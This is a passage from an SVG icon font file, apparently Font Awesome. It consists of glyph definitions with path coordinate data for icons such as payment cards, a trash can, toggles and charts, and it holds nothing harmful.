q0 -17 -31 -17q-25 0 -45 14l-13 -23q25 -17 58 -17q29 0 45.5 12t16.5 32zM1073 14l-8 25q-13 -7 -26 -7q-19 0 -19 22v61h48v27h-48v41h-30v-41h-28v-27h28v-61q0 -50 47 -50q21 0 36 10zM1159 146q-29 0 -48 -20t-19 -51q0 -32 19.5 -51.5t49.5 -19.5q33 0 55 19l-14 22
q-18 -15 -39 -15q-34 0 -41 33h101v12q0 32 -18 51.5t-46 19.5zM1318 146q-23 0 -35 -20v16h-30v-135h30v76q0 35 29 35q10 0 18 -4l9 28q-9 4 -21 4zM1348 75q0 -31 19.5 -51t52.5 -20q29 0 48 16l-14 24q-18 -13 -35 -12q-18 0 -29.5 12t-11.5 31t11.5 31t29.5 12
q19 0 35 -12l14 24q-20 16 -48 16q-33 0 -52.5 -20t-19.5 -51zM1593 7h30v68v67h-30v-16q-15 20 -42 20q-29 0 -48.5 -20t-19.5 -51t19.5 -51t48.5 -20q28 0 42 20v-17zM1726 146q-23 0 -35 -20v16h-29v-135h29v76q0 35 29 35q10 0 18 -4l9 28q-8 4 -21 4zM1866 7h29v68v122
h-29v-71q-15 20 -43 20t-47.5 -20.5t-19.5 -50.5t19.5 -50.5t47.5 -20.5q29 0 43 20v-17zM1944 27l-2 -1h-3q-2 -1 -4 -3q-3 -1 -3 -4q-1 -2 -1 -6q0 -3 1 -5q0 -2 3 -4q2 -2 4 -3t5 -1q4 0 6 1q0 1 2 2l2 1q1 1 3 4q1 2 1 5q0 4 -1 6q-1 1 -3 4q0 1 -2 2l-2 1q-1 0 -3 0.5
t-3 0.5zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_467" unicode="&#xf1f2;" horiz-adv-x="2304" 
d="M313 759q0 -51 -36 -84q-29 -26 -89 -26h-17v220h17q61 0 89 -27q36 -31 36 -83zM2089 824q0 -52 -64 -52h-19v101h20q63 0 63 -49zM380 759q0 74 -50 120.5t-129 46.5h-95v-333h95q74 0 119 38q60 51 60 128zM410 593h65v333h-65v-333zM730 694q0 40 -20.5 62t-75.5 42
q-29 10 -39.5 19t-10.5 23q0 16 13.5 26.5t34.5 10.5q29 0 53 -27l34 44q-41 37 -98 37q-44 0 -74 -27.5t-30 -67.5q0 -35 18 -55.5t64 -36.5q37 -13 45 -19q19 -12 19 -34q0 -20 -14 -33.5t-36 -13.5q-48 0 -71 44l-42 -40q44 -64 115 -64q51 0 83 30.5t32 79.5zM1008 604
v77q-37 -37 -78 -37q-49 0 -80.5 32.5t-31.5 82.5q0 48 31.5 81.5t77.5 33.5q43 0 81 -38v77q-40 20 -80 20q-74 0 -125.5 -50.5t-51.5 -123.5t51 -123.5t125 -50.5q42 0 81 19zM2240 0v527q-65 -40 -144.5 -84t-237.5 -117t-329.5 -137.5t-417.5 -134.5t-504 -118h1569
q26 0 45 19t19 45zM1389 757q0 75 -53 128t-128 53t-128 -53t-53 -128t53 -128t128 -53t128 53t53 128zM1541 584l144 342h-71l-90 -224l-89 224h-71l142 -342h35zM1714 593h184v56h-119v90h115v56h-115v74h119v57h-184v-333zM2105 593h80l-105 140q76 16 76 94q0 47 -31 73
t-87 26h-97v-333h65v133h9zM2304 1274v-1268q0 -56 -38.5 -95t-93.5 -39h-2040q-55 0 -93.5 39t-38.5 95v1268q0 56 38.5 95t93.5 39h2040q55 0 93.5 -39t38.5 -95z" />
    <glyph glyph-name="f1f3" unicode="&#xf1f3;" horiz-adv-x="2304" 
d="M119 854h89l-45 108zM740 328l74 79l-70 79h-163v-49h142v-55h-142v-54h159zM898 406l99 -110v217zM1186 453q0 33 -40 33h-84v-69h83q41 0 41 36zM1475 457q0 29 -42 29h-82v-61h81q43 0 43 32zM1197 923q0 29 -42 29h-82v-60h81q43 0 43 31zM1656 854h89l-44 108z
M699 1009v-271h-66v212l-94 -212h-57l-94 212v-212h-132l-25 60h-135l-25 -60h-70l116 271h96l110 -257v257h106l85 -184l77 184h108zM1255 453q0 -20 -5.5 -35t-14 -25t-22.5 -16.5t-26 -10t-31.5 -4.5t-31.5 -1t-32.5 0.5t-29.5 0.5v-91h-126l-80 90l-83 -90h-256v271h260
l80 -89l82 89h207q109 0 109 -89zM964 794v-56h-217v271h217v-57h-152v-49h148v-55h-148v-54h152zM2304 235v-229q0 -55 -38.5 -94.5t-93.5 -39.5h-2040q-55 0 -93.5 39.5t-38.5 94.5v678h111l25 61h55l25 -61h218v46l19 -46h113l20 47v-47h541v99l10 1q10 0 10 -14v-86h279
v23q23 -12 55 -18t52.5 -6.5t63 0.5t51.5 1l25 61h56l25 -61h227v58l34 -58h182v378h-180v-44l-25 44h-185v-44l-23 44h-249q-69 0 -109 -22v22h-172v-22q-24 22 -73 22h-628l-43 -97l-43 97h-198v-44l-22 44h-169l-78 -179v391q0 55 38.5 94.5t93.5 39.5h2040
q55 0 93.5 -39.5t38.5 -94.5v-678h-120q-51 0 -81 -22v22h-177q-55 0 -78 -22v22h-316v-22q-31 22 -87 22h-209v-22q-23 22 -91 22h-234l-54 -58l-50 58h-349v-378h343l55 59l52 -59h211v89h21q59 0 90 13v-102h174v99h8q8 0 10 -2t2 -10v-87h529q57 0 88 24v-24h168
q60 0 95 17zM1546 469q0 -23 -12 -43t-34 -29q25 -9 34 -26t9 -46v-54h-65v45q0 33 -12 43.5t-46 10.5h-69v-99h-65v271h154q48 0 77 -15t29 -58zM1269 936q0 -24 -12.5 -44t-33.5 -29q26 -9 34.5 -25.5t8.5 -46.5v-53h-65q0 9 0.5 26.5t0 25t-3 18.5t-8.5 16t-17.5 8.5
t-29.5 3.5h-70v-98h-64v271l153 -1q49 0 78 -14.5t29 -57.5zM1798 327v-56h-216v271h216v-56h-151v-49h148v-55h-148v-54zM1372 1009v-271h-66v271h66zM2065 357q0 -86 -102 -86h-126v58h126q34 0 34 25q0 16 -17 21t-41.5 5t-49.5 3.5t-42 22.5t-17 55q0 39 26 60t66 21
h130v-57h-119q-36 0 -36 -25q0 -16 17.5 -20.5t42 -4t49 -2.5t42 -21.5t17.5 -54.5zM2304 407v-101q-24 -35 -88 -35h-125v58h125q33 0 33 25q0 13 -12.5 19t-31 5.5t-40 2t-40 8t-31 24t-12.5 48.5q0 39 26.5 60t66.5 21h129v-57h-118q-36 0 -36 -25q0 -20 29 -22t68.5 -5
t56.5 -26zM2139 1008v-270h-92l-122 203v-203h-132l-26 60h-134l-25 -60h-75q-129 0 -129 133q0 138 133 138h63v-59q-7 0 -28 1t-28.5 0.5t-23 -2t-21.5 -6.5t-14.5 -13.5t-11.5 -23t-3 -33.5q0 -38 13.5 -58t49.5 -20h29l92 213h97l109 -256v256h99l114 -188v188h66z" />
    <glyph glyph-name="_469" unicode="&#xf1f4;" horiz-adv-x="2304" 
d="M745 630q0 -37 -25.5 -61.5t-62.5 -24.5q-29 0 -46.5 16t-17.5 44q0 37 25 62.5t62 25.5q28 0 46.5 -16.5t18.5 -45.5zM1530 779q0 -42 -22 -57t-66 -15l-32 -1l17 107q2 11 13 11h18q22 0 35 -2t25 -12.5t12 -30.5zM1881 630q0 -36 -25.5 -61t-61.5 -25q-29 0 -47 16
t-18 44q0 37 25 62.5t62 25.5q28 0 46.5 -16.5t18.5 -45.5zM513 801q0 59 -38.5 85.5t-100.5 26.5h-160q-19 0 -21 -19l-65 -408q-1 -6 3 -11t10 -5h76q20 0 22 19l18 110q1 8 7 13t15 6.5t17 1.5t19 -1t14 -1q86 0 135 48.5t49 134.5zM822 489l41 261q1 6 -3 11t-10 5h-76
q-14 0 -17 -33q-27 40 -95 40q-72 0 -122.5 -54t-50.5 -127q0 -59 34.5 -94t92.5 -35q28 0 58 12t48 32q-4 -12 -4 -21q0 -16 13 -16h69q19 0 22 19zM1269 752q0 5 -4 9.5t-9 4.5h-77q-11 0 -18 -10l-106 -156l-44 150q-5 16 -22 16h-75q-5 0 -9 -4.5t-4 -9.5q0 -2 19.5 -59
t42 -123t23.5 -70q-82 -112 -82 -120q0 -13 13 -13h77q11 0 18 10l255 368q2 2 2 7zM1649 801q0 59 -38.5 85.5t-100.5 26.5h-159q-20 0 -22 -19l-65 -408q-1 -6 3 -11t10 -5h82q12 0 16 13l18 116q1 8 7 13t15 6.5t17 1.5t19 -1t14 -1q86 0 135 48.5t49 134.5zM1958 489
l41 261q1 6 -3 11t-10 5h-76q-14 0 -17 -33q-26 40 -95 40q-72 0 -122.5 -54t-50.5 -127q0 -59 34.5 -94t92.5 -35q29 0 59 12t47 32q0 -1 -2 -9t-2 -12q0 -16 13 -16h69q19 0 22 19zM2176 898v1q0 14 -13 14h-74q-11 0 -13 -11l-65 -416l-1 -2q0 -5 4 -9.5t10 -4.5h66
q19 0 21 19zM392 764q-5 -35 -26 -46t-60 -11l-33 -1l17 107q2 11 13 11h19q40 0 58 -11.5t12 -48.5zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_470" unicode="&#xf1f5;" horiz-adv-x="2304" 
d="M1597 633q0 -69 -21 -106q-19 -35 -52 -35q-23 0 -41 9v224q29 30 57 30q57 0 57 -122zM2035 669h-110q6 98 56 98q51 0 54 -98zM476 534q0 59 -33 91.5t-101 57.5q-36 13 -52 24t-16 25q0 26 38 26q58 0 124 -33l18 112q-67 32 -149 32q-77 0 -123 -38q-48 -39 -48 -109
q0 -58 32.5 -90.5t99.5 -56.5q39 -14 54.5 -25.5t15.5 -27.5q0 -31 -48 -31q-29 0 -70 12.5t-72 30.5l-18 -113q72 -41 168 -41q81 0 129 37q51 41 51 117zM771 749l19 111h-96v135l-129 -21l-18 -114l-46 -8l-17 -103h62v-219q0 -84 44 -120q38 -30 111 -30q32 0 79 11v118
q-32 -7 -44 -7q-42 0 -42 50v197h77zM1087 724v139q-15 3 -28 3q-32 0 -55.5 -16t-33.5 -46l-10 56h-131v-471h150v306q26 31 82 31q16 0 26 -2zM1124 389h150v471h-150v-471zM1746 638q0 122 -45 179q-40 52 -111 52q-64 0 -117 -56l-8 47h-132v-645l150 25v151
q36 -11 68 -11q83 0 134 56q61 65 61 202zM1278 986q0 33 -23 56t-56 23t-56 -23t-23 -56t23 -56.5t56 -23.5t56 23.5t23 56.5zM2176 629q0 113 -48 176q-50 64 -144 64q-96 0 -151.5 -66t-55.5 -180q0 -128 63 -188q55 -55 161 -55q101 0 160 40l-16 103q-57 -31 -128 -31
q-43 0 -63 19q-23 19 -28 66h248q2 14 2 52zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_471" unicode="&#xf1f6;" horiz-adv-x="2048" 
d="M1558 684q61 -356 298 -556q0 -52 -38 -90t-90 -38h-448q0 -106 -75 -181t-181 -75t-180.5 74.5t-75.5 180.5zM1024 -176q16 0 16 16t-16 16q-59 0 -101.5 42.5t-42.5 101.5q0 16 -16 16t-16 -16q0 -73 51.5 -124.5t124.5 -51.5zM2026 1424q8 -10 7.5 -23.5t-10.5 -22.5
l-1872 -1622q-10 -8 -23.5 -7t-21.5 11l-84 96q-8 10 -7.5 23.5t10.5 21.5l186 161q-19 32 -19 66q50 42 91 88t85 119.5t74.5 158.5t50 206t19.5 260q0 152 117 282.5t307 158.5q-8 19 -8 39q0 40 28 68t68 28t68 -28t28 -68q0 -20 -8 -39q124 -18 219 -82.5t148 -157.5
l418 363q10 8 23.5 7t21.5 -11z" />
    <glyph glyph-name="_472" unicode="&#xf1f7;" horiz-adv-x="2048" 
d="M1040 -160q0 16 -16 16q-59 0 -101.5 42.5t-42.5 101.5q0 16 -16 16t-16 -16q0 -73 51.5 -124.5t124.5 -51.5q16 0 16 16zM503 315l877 760q-42 88 -132.5 146.5t-223.5 58.5q-93 0 -169.5 -31.5t-121.5 -80.5t-69 -103t-24 -105q0 -384 -137 -645zM1856 128
q0 -52 -38 -90t-90 -38h-448q0 -106 -75 -181t-181 -75t-180.5 74.5t-75.5 180.5l149 129h757q-166 187 -227 459l111 97q61 -356 298 -556zM1942 1520l84 -96q8 -10 7.5 -23.5t-10.5 -22.5l-1872 -1622q-10 -8 -23.5 -7t-21.5 11l-84 96q-8 10 -7.5 23.5t10.5 21.5l186 161
q-19 32 -19 66q50 42 91 88t85 119.5t74.5 158.5t50 206t19.5 260q0 152 117 282.5t307 158.5q-8 19 -8 39q0 40 28 68t68 28t68 -28t28 -68q0 -20 -8 -39q124 -18 219 -82.5t148 -157.5l418 363q10 8 23.5 7t21.5 -11z" />
    <glyph glyph-name="_473" unicode="&#xf1f8;" horiz-adv-x="1408" 
d="M512 160v704q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-704q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM768 160v704q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-704q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1024 160v704q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-704
q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM480 1152h448l-48 117q-7 9 -17 11h-317q-10 -2 -17 -11zM1408 1120v-64q0 -14 -9 -23t-23 -9h-96v-948q0 -83 -47 -143.5t-113 -60.5h-832q-66 0 -113 58.5t-47 141.5v952h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h309l70 167
q15 37 54 63t79 26h320q40 0 79 -26t54 -63l70 -167h309q14 0 23 -9t9 -23z" />
    <glyph glyph-name="_474" unicode="&#xf1f9;" 
d="M1150 462v-109q0 -50 -36.5 -89t-94 -60.5t-118 -32.5t-117.5 -11q-205 0 -342.5 139t-137.5 346q0 203 136 339t339 136q34 0 75.5 -4.5t93 -18t92.5 -34t69 -56.5t28 -81v-109q0 -16 -16 -16h-118q-16 0 -16 16v70q0 43 -65.5 67.5t-137.5 24.5q-140 0 -228.5 -91.5
t-88.5 -237.5q0 -151 91.5 -249.5t233.5 -98.5q68 0 138 24t70 66v70q0 7 4.5 11.5t10.5 4.5h119q6 0 11 -4.5t5 -11.5zM768 1280q-130 0 -248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5
t-51 248.5t-136.5 204t-204 136.5t-248.5 51zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_475" unicode="&#xf1fa;" 
d="M972 761q0 108 -53.5 169t-147.5 61q-63 0 -124 -30.5t-110 -84.5t-79.5 -137t-30.5 -180q0 -112 53.5 -173t150.5 -61q96 0 176 66.5t122.5 166t42.5 203.5zM1536 640q0 -111 -37 -197t-98.5 -135t-131.5 -74.5t-145 -27.5q-6 0 -15.5 -0.5t-16.5 -0.5q-95 0 -142 53
q-28 33 -33 83q-52 -66 -131.5 -110t-173.5 -44q-161 0 -249.5 95.5t-88.5 269.5q0 157 66 290t179 210.5t246 77.5q87 0 155 -35.5t106 -99.5l2 19l11 56q1 6 5.5 12t9.5 6h118q5 0 13 -11q5 -5 3 -16l-120 -614q-5 -24 -5 -48q0 -39 12.5 -52t44.5 -13q28 1 57 5.5t73 24
t77 50t57 89.5t24 137q0 292 -174 466t-466 174q-130 0 -248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51q228 0 405 144q11 9 24 8t21 -12l41 -49q8 -12 7 -24q-2 -13 -12 -22q-102 -83 -227.5 -128t-258.5 -45q-156 0 -298 61
t-245 164t-164 245t-61 298t61 298t164 245t245 164t298 61q344 0 556 -212t212 -556z" />
    <glyph glyph-name="_476" unicode="&#xf1fb;" horiz-adv-x="1792" 
d="M1698 1442q94 -94 94 -226.5t-94 -225.5l-225 -223l104 -104q10 -10 10 -23t-10 -23l-210 -210q-10 -10 -23 -10t-23 10l-105 105l-603 -603q-37 -37 -90 -37h-203l-256 -128l-64 64l128 256v203q0 53 37 90l603 603l-105 105q-10 10 -10 23t10 23l210 210q10 10 23 10
t23 -10l104 -104l223 225q93 94 225.5 94t226.5 -94zM512 64l576 576l-192 192l-576 -576v-192h192z" />
    <glyph glyph-name="f1fc" unicode="&#xf1fc;" horiz-adv-x="1792" 
d="M1615 1536q70 0 122.5 -46.5t52.5 -116.5q0 -63 -45 -151q-332 -629 -465 -752q-97 -91 -218 -91q-126 0 -216.5 92.5t-90.5 219.5q0 128 92 212l638 579q59 54 130 54zM706 502q39 -76 106.5 -130t150.5 -76l1 -71q4 -213 -129.5 -347t-348.5 -134q-123 0 -218 46.5
t-152.5 127.5t-86.5 183t-29 220q7 -5 41 -30t62 -44.5t59 -36.5t46 -17q41 0 55 37q25 66 57.5 112.5t69.5 76t88 47.5t103 25.5t125 10.5z" />
    <glyph glyph-name="_478" unicode="&#xf1fd;" horiz-adv-x="1792" 
d="M1792 128v-384h-1792v384q45 0 85 14t59 27.5t47 37.5q30 27 51.5 38t56.5 11q24 0 44 -7t31 -15t33 -27q29 -25 47 -38t58 -27t86 -14q45 0 85 14.5t58 27t48 37.5q21 19 32.5 27t31 15t43.5 7q35 0 56.5 -11t51.5 -38q28 -24 47 -37.5t59 -27.5t85 -14t85 14t59 27.5
t47 37.5q30 27 51.5 38t56.5 11q34 0 55.5 -11t51.5 -38q28 -24 47 -37.5t59 -27.5t85 -14zM1792 448v-192q-24 0 -44 7t-31 15t-33 27q-29 25 -47 38t-58 27t-85 14q-46 0 -86 -14t-58 -27t-47 -38q-22 -19 -33 -27t-31 -15t-44 -7q-35 0 -56.5 11t-51.5 38q-29 25 -47 38
t-58 27t-86 14q-45 0 -85 -14.5t-58 -27t-48 -37.5q-21 -19 -32.5 -27t-31 -15t-43.5 -7q-35 0 -56.5 11t-51.5 38q-28 24 -47 37.5t-59 27.5t-85 14q-46 0 -86 -14t-58 -27t-47 -38q-30 -27 -51.5 -38t-56.5 -11v192q0 80 56 136t136 56h64v448h256v-448h256v448h256v-448
h256v448h256v-448h64q80 0 136 -56t56 -136zM512 1312q0 -77 -36 -118.5t-92 -41.5q-53 0 -90.5 37.5t-37.5 90.5q0 29 9.5 51t23.5 34t31 28t31 31.5t23.5 44.5t9.5 67q38 0 83 -74t45 -150zM1024 1312q0 -77 -36 -118.5t-92 -41.5q-53 0 -90.5 37.5t-37.5 90.5
q0 29 9.5 51t23.5 34t31 28t31 31.5t23.5 44.5t9.5 67q38 0 83 -74t45 -150zM1536 1312q0 -77 -36 -118.5t-92 -41.5q-53 0 -90.5 37.5t-37.5 90.5q0 29 9.5 51t23.5 34t31 28t31 31.5t23.5 44.5t9.5 67q38 0 83 -74t45 -150z" />
    <glyph glyph-name="_479" unicode="&#xf1fe;" horiz-adv-x="2048" 
d="M2048 0v-128h-2048v1536h128v-1408h1920zM1664 1024l256 -896h-1664v576l448 576l576 -576z" />
    <glyph glyph-name="_480" unicode="&#xf200;" horiz-adv-x="1792" 
d="M768 646l546 -546q-106 -108 -247.5 -168t-298.5 -60q-209 0 -385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103v-762zM955 640h773q0 -157 -60 -298.5t-168 -247.5zM1664 768h-768v768q209 0 385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_481" unicode="&#xf201;" horiz-adv-x="2048" 
d="M2048 0v-128h-2048v1536h128v-1408h1920zM1920 1248v-435q0 -21 -19.5 -29.5t-35.5 7.5l-121 121l-633 -633q-10 -10 -23 -10t-23 10l-233 233l-416 -416l-192 192l585 585q10 10 23 10t23 -10l233 -233l464 464l-121 121q-16 16 -7.5 35.5t29.5 19.5h435q14 0 23 -9
t9 -23z" />
    <glyph glyph-name="_482" unicode="&#xf202;" horiz-adv-x="1792" 
d="M1292 832q0 -6 10 -41q10 -29 25 -49.5t41 -34t44 -20t55 -16.5q325 -91 325 -332q0 -146 -105.5 -242.5t-254.5 -96.5q-59 0 -111.5 18.5t-91.5 45.5t-77 74.5t-63 87.5t-53.5 103.5t-43.5 103t-39.5 106.5t-35.5 95q-32 81 -61.5 133.5t-73.5 96.5t-104 64t-142 20
q-96 0 -183 -55.5t-138 -144.5t-51 -185q0 -160 106.5 -279.5t263.5 -119.5q177 0 258 95q56 63 83 116l84 -152q-15 -34 -44 -70l1 -1q-131 -152 -388 -152q-147 0 -269.5 79t-190.5 207.5t-68 274.5q0 105 43.5 206t116 176.5t172 121.5t204.5 46q87 0 159 -19t123.5 -50
t95 -80t72.5 -99t58.5 -117t50.5 -124.5t50 -130.5t55 -127q96 -200 233 -200q81 0 138.5 48.5t57.5 128.5q0 42 -19 72t-50.5 46t-72.5 31.5t-84.5 27t-87.5 34t-81 52t-65 82t-39 122.5q-3 16 -3 33q0 110 87.5 192t198.5 78q78 -3 120.5 -14.5t90.5 -53.5h-1
q12 -11 23 -24.5t26 -36t19 -27.5l-129 -99q-26 49 -54 70v1q-23 21 -97 21q-49 0 -84 -33t-35 -83z" />
    <glyph glyph-name="_483" unicode="&#xf203;" 
d="M1432 484q0 173 -234 239q-35 10 -53 16.5t-38 25t-29 46.5q0 2 -2 8.5t-3 12t-1 7.5q0 36 24.5 59.5t60.5 23.5q54 0 71 -15h-1q20 -15 39 -51l93 71q-39 54 -49 64q-33 29 -67.5 39t-85.5 10q-80 0 -142 -57.5t-62 -137.5q0 -7 2 -23q16 -96 64.5 -140t148.5 -73
q29 -8 49 -15.5t45 -21.5t38.5 -34.5t13.5 -46.5v-5q1 -58 -40.5 -93t-100.5 -35q-97 0 -167 144q-23 47 -51.5 121.5t-48 125.5t-54 110.5t-74 95.5t-103.5 60.5t-147 24.5q-101 0 -192 -56t-144 -148t-50 -192v-1q4 -108 50.5 -199t133.5 -147.5t196 -56.5q186 0 279 110
q20 27 31 51l-60 109q-42 -80 -99 -116t-146 -36q-115 0 -191 87t-76 204q0 105 82 189t186 84q112 0 170 -53.5t104 -172.5q8 -21 25.5 -68.5t28.5 -76.5t31.5 -74.5t38.5 -74t45.5 -62.5t55.5 -53.5t66 -33t80 -13.5q107 0 183 69.5t76 174.5zM1536 1120v-960
q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_484" unicode="&#xf204;" horiz-adv-x="2048" 
d="M1152 640q0 104 -40.5 198.5t-109.5 163.5t-163.5 109.5t-198.5 40.5t-198.5 -40.5t-163.5 -109.5t-109.5 -163.5t-40.5 -198.5t40.5 -198.5t109.5 -163.5t163.5 -109.5t198.5 -40.5t198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5zM1920 640q0 104 -40.5 198.5
t-109.5 163.5t-163.5 109.5t-198.5 40.5h-386q119 -90 188.5 -224t69.5 -288t-69.5 -288t-188.5 -224h386q104 0 198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5zM2048 640q0 -130 -51 -248.5t-136.5 -204t-204 -136.5t-248.5 -51h-768q-130 0 -248.5 51t-204 136.5
t-136.5 204t-51 248.5t51 248.5t136.5 204t204 136.5t248.5 51h768q130 0 248.5 -51t204 -136.5t136.5 -204t51 -248.5z" />
    <glyph glyph-name="_485" unicode="&#xf205;" horiz-adv-x="2048" 
d="M0 640q0 130 51 248.5t136.5 204t204 136.5t248.5 51h768q130 0 248.5 -51t204 -136.5t136.5 -204t51 -248.5t-51 -248.5t-136.5 -204t-204 -136.5t-248.5 -51h-768q-130 0 -248.5 51t-204 136.5t-136.5 204t-51 248.5zM1408 128q104 0 198.5 40.5t163.5 109.5
t109.5 163.5t40.5 198.5t-40.5 198.5t-109.5 163.5t-163.5 109.5t-198.5 40.5t-198.5 -40.5t-163.5 -109.5t-109.5 -163.5t-40.5 -198.5t40.5 -198.5t109.5 -163.5t163.5 -109.5t198.5 -40.5z" />
    <glyph glyph-name="_486" unicode="&#xf206;" horiz-adv-x="2304" 
d="M762 384h-314q-40 0 -57.5 35t6.5 67l188 251q-65 31 -137 31q-132 0 -226 -94t-94 -226t94 -226t226 -94q115 0 203 72.5t111 183.5zM576 512h186q-18 85 -75 148zM1056 512l288 384h-480l-99 -132q105 -103 126 -252h165zM2176 448q0 132 -94 226t-226 94
q-60 0 -121 -24l174 -260q15 -23 10 -49t-27 -40q-15 -11 -36 -11q-35 0 -53 29l-174 260q-93 -95 -93 -225q0 -132 94 -226t226 -94t226 94t94 226zM2304 448q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 97 39.5 183.5t109.5 149.5l-65 98l-353 -469
q-18 -26 -51 -26h-197q-23 -164 -149 -274t-294 -110q-185 0 -316.5 131.5t-131.5 316.5t131.5 316.5t316.5 131.5q114 0 215 -55l137 183h-224q-26 0 -45 19t-19 45t19 45t45 19h384v-128h435l-85 128h-222q-26 0 -45 19t-19 45t19 45t45 19h256q33 0 53 -28l267 -400
q91 44 192 44q185 0 316.5 -131.5t131.5 -316.5z" />
    <glyph glyph-name="_487" unicode="&#xf207;" 
d="M384 320q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1408 320q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1362 716l-72 384q-5 23 -22.5 37.5t-40.5 14.5
h-918q-23 0 -40.5 -14.5t-22.5 -37.5l-72 -384q-5 -30 14 -53t49 -23h1062q30 0 49 23t14 53zM1136 1328q0 20 -14 34t-34 14h-640q-20 0 -34 -14t-14 -34t14 -34t34 -14h640q20 0 34 14t14 34zM1536 603v-603h-128v-128q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5
t-37.5 90.5v128h-768v-128q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5v128h-128v603q0 112 25 223l103 454q9 78 97.5 137t230 89t312.5 30t312.5 -30t230 -89t97.5 -137l105 -454q23 -102 23 -223z" />
    <glyph glyph-name="_488" unicode="&#xf208;" horiz-adv-x="2048" 
d="M1463 704q0 -35 -25 -60.5t-61 -25.5h-702q-36 0 -61 25.5t-25 60.5t25 60.5t61 25.5h702q36 0 61 -25.5t25 -60.5zM1677 704q0 86 -23 170h-982q-36 0 -61 25t-25 60q0 36 25 61t61 25h908q-88 143 -235 227t-320 84q-177 0 -327.5 -87.5t-238 -237.5t-87.5 -327
q0 -86 23 -170h982q36 0 61 -25t25 -60q0 -36 -25 -61t-61 -25h-908q88 -143 235.5 -227t320.5 -84q132 0 253 51.5t208 139t139 208t52 253.5zM2048 959q0 -35 -25 -60t-61 -25h-131q17 -85 17 -170q0 -167 -65.5 -319.5t-175.5 -263t-262.5 -176t-319.5 -65.5
q-246 0 -448.5 133t-301.5 350h-189q-36 0 -61 25t-25 61q0 35 25 60t61 25h132q-17 85 -17 170q0 167 65.5 319.5t175.5 263t262.5 176t320.5 65.5q245 0 447.5 -133t301.5 -350h188q36 0 61 -25t25 -61z" />
    <glyph glyph-name="_489" unicode="&#xf209;" horiz-adv-x="1280" 
d="M953 1158l-114 -328l117 -21q165 451 165 518q0 56 -38 56q-57 0 -130 -225zM654 471l33 -88q37 42 71 67l-33 5.5t-38.5 7t-32.5 8.5zM362 1367q0 -98 159 -521q17 10 49 10q15 0 75 -5l-121 351q-75 220 -123 220q-19 0 -29 -17.5t-10 -37.5zM283 608q0 -36 51.5 -119
t117.5 -153t100 -70q14 0 25.5 13t11.5 27q0 24 -32 102q-13 32 -32 72t-47.5 89t-61.5 81t-62 32q-20 0 -45.5 -27t-25.5 -47zM125 273q0 -41 25 -104q59 -145 183.5 -227t281.5 -82q227 0 382 170q152 169 152 427q0 43 -1 67t-11.5 62t-30.5 56q-56 49 -211.5 75.5
t-270.5 26.5q-37 0 -49 -11q-12 -5 -12 -35q0 -34 21.5 -60t55.5 -40t77.5 -23.5t87.5 -11.5t85 -4t70 0h23q24 0 40 -19q15 -19 19 -55q-28 -28 -96 -54q-61 -22 -93 -46q-64 -46 -108.5 -114t-44.5 -137q0 -31 18.5 -88.5t18.5 -87.5l-3 -12q-4 -12 -4 -14
q-137 10 -146 216q-8 -2 -41 -2q2 -7 2 -21q0 -53 -40.5 -89.5t-94.5 -36.5q-82 0 -166.5 78t-84.5 159q0 34 33 67q52 -64 60 -76q77 -104 133 -104q12 0 26.5 8.5t14.5 20.5q0 34 -87.5 145t-116.5 111q-43 0 -70 -44.5t-27 -90.5zM11 264q0 101 42.5 163t136.5 88
q-28 74 -28 104q0 62 61 123t122 61q29 0 70 -15q-163 462 -163 567q0 80 41 130.5t119 50.5q131 0 325 -581q6 -17 8 -23q6 16 29 79.5t43.5 118.5t54 127.5t64.5 123t70.5 86.5t76.5 36q71 0 112 -49t41 -122q0 -108 -159 -550q61 -15 100.5 -46t58.5 -78t26 -93.5
t7 -110.5q0 -150 -47 -280t-132 -225t-211 -150t-278 -55q-111 0 -223 42q-149 57 -258 191.5t-109 286.5z" />
    <glyph glyph-name="_490" unicode="&#xf20a;" horiz-adv-x="2048" 
